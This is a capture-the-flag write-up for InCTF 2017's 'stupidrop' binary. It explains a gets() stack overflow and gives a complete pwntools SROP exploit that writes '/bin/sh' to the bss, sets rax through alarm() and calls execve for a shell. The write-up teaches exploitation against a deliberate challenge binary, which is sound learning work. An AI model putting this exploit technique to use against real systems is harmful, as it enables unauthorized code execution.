Inctf 2017 stupidrop

Let's take a look at the binary:

$    file stupidrop
stupidrop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4f0ff8340bc3eead42d0f7b14535ee7c74a6ca7d, not stripped
$    pwn checksec stupidrop
[*] '/Hackery/pod/modules/srop/inctf17_stupidrop/stupidrop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./stupidrop
15935728

So we can see that we are dealing with a 64 bit dynamically linked binary, with an NX stack. When we run it, it prompts us for input:

Reversing

Looking at the main function, we can see an obvious bug:

undefined8 main(void)

{
  char input [48];
 
  setvbuf(stdout,(char *)0x0,2,0);
  alarm(0x20);
  gets(input);
  return 0;
}

So it uses gets, which gives us a buffer overflow (when we check the offset, we see it is 0x38) that we can hit the saved return address with. Since there is no Stack Canary, we will be able to get code execution without a leak.

Writing /bin/sh

So for our exploit, we will be using an SROP attack to jump to a syscall, and make an execve("/bin/sh", NULL, NULL) call. To do that, we will need to write /bin/sh\x00 somewhere to memory, at an address we know. Looking at the bss in Ghidra, we see that 0x601050 would probably be a good candidate. This is because it doesn't look like anything is stored there that would mess with what we are doing, we know it's address (thanks to no PIE), and that it is in a memory region that we can read and write to:

        00601050 00              undefined1 00h
        00601051 00              ??         00h
        00601052 00              ??         00h
        00601053 00              ??         00h
        00601054 00              ??         00h
        00601055 00              ??         00h
        00601056 00              ??         00h
        00601057 00              ??         00h

Now for how to write /bin/sh\x00 to 0x601050, we will call gets. The function gets is imported (we can see it under the list of imports in Ghidra), and since PIE isn't enabled we know it's address. So we will just call gets with 0x601050 as an argument (which we have the rop gadgets for), and write /bin/sh\x00 to 0x601050.

Getting the rop gadget:

$ python ROPgadget.py --binary stupidrop | grep "pop rdi"
0x00000000004006a3 : pop rdi ; ret

Writing Rax Value

So for the SROP syscall, we will need to set rax equal to 0xf (since rax specifies what syscall will be made). However we don't really have any rop gadgets that we can use, which will set it. So we will be setting it by calling the alarm function, since return values are stored in the rax register.

The alarm function is used to specify how many seconds to wait before generating a SIGALRM. It takes a single argument, an unsigned int specifying the amount of seconds. If we call alarm once, it will set the number of seconds (which the return value will be 0). If we call it a second time with an argument of 0, it will cancel the pending alarm and return the number of seconds remaining. With this, we can call alarm once with an argument (stored) in the rdi register equal to 0xf. Then proceeding that we can just call alarm again with the rdi register being equal to 0x0 and it will set rax to 0xf as the return value.

SROP attack

Now that we have rax set to 0xf, space on the stack to store our sigreturn frame, and we have a syscall rop gadget:

$ python ROPgadget.py --binary stupidrop | grep syscall
0x000000000040063e : syscall

So we have everything we need to make the sigreturn. So we have control over all of the registers. Since we have the syscall rop gadget and a pointer to /bin/sh, we can make the execve("/bin/sh", NULL, NULL) call. In order to get that, we will have the following registers set accordingly:

rip:  0x40063e (address of syscall rop gadget)
rax:  0x3b (specify execve syscall)
rdi:  0x601050 (pointer to "/bin/sh")
rsi:  0x0 (specify no arguments)
rdx:  0x0 (specify no enviornment variables)

That syscall will pop a shell for us. We will just store the frame right after the srop syscall, since that will put it at the top of the stack for the sigreturn (which is where it expects it).

Exploit

Putting it all together, we get the following exploit:

from pwn import *

# Establish the target
target = process('./stupidrop')
gdb.attach(target, gdbscript='b *0x400289')

elf = ELF('stupidrop')

context.arch = "amd64"

# Establish needed gadgets
syscall = p64(0x40063e)
popRdi = p64(0x4006a3)

# Establish needed functions
gets = p64(elf.symbols['gets'])
alarm = p64(elf.symbols['alarm'])

# Establish address where we will write "/bin/sh"
binshAdr = p64(0x601050)

# Filler to return address
payload = ""
payload += "0"*0x38

# Use gets to write "/bin/sh" to 0x601050
payload += popRdi
payload += binshAdr
payload += gets


# Use alarm to set the rax register to 0xf
payload += popRdi
payload += p64(0xf)
payload += alarm
payload += popRdi
payload += p64(0x0)
payload += alarm

# Execute the SROP to make the execve call
frame = SigreturnFrame()

# Specify rip to point to the syscall instruction
frame.rip = 0x40063e

# Prep the registers for the execve syscall
frame.rax = 0x3b
frame.rdi = 0x601050
frame.rsi = 0x0
frame.rdx = 0x0

# Add the sigreturn frame to the payload, and make the syscall
payload += syscall
payload += str(frame)


# Send the payload
target.sendline(payload)

# Send "/bin/sh" to the gets call
raw_input()
target.sendline("/bin/sh\x00")


target.interactive()

When we run it:

$ python exploit.py
[+] Starting local process './stupidrop': pid 10520
[*] running in new terminal: /usr/bin/gdb -q  "./stupidrop" 10520 -x "/tmp/pwnyQjXEX.gdb"
[+] Waiting for debugger: Done
[*] '/Hackery/pod/modules/srop/inctf17_stupidrop/stupidrop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

[*] Switching to interactive mode
$ w
 22:09:26 up  3:22,  1 user,  load average: 1.56, 1.80, 1.86
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               18:47   ?xdm?  15:46   0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin/gnome-session --session=ubuntu
$ ls
ROPgadget.py  core  exploit.py    readme.md  stupidrop

Just like that, we popped a shell!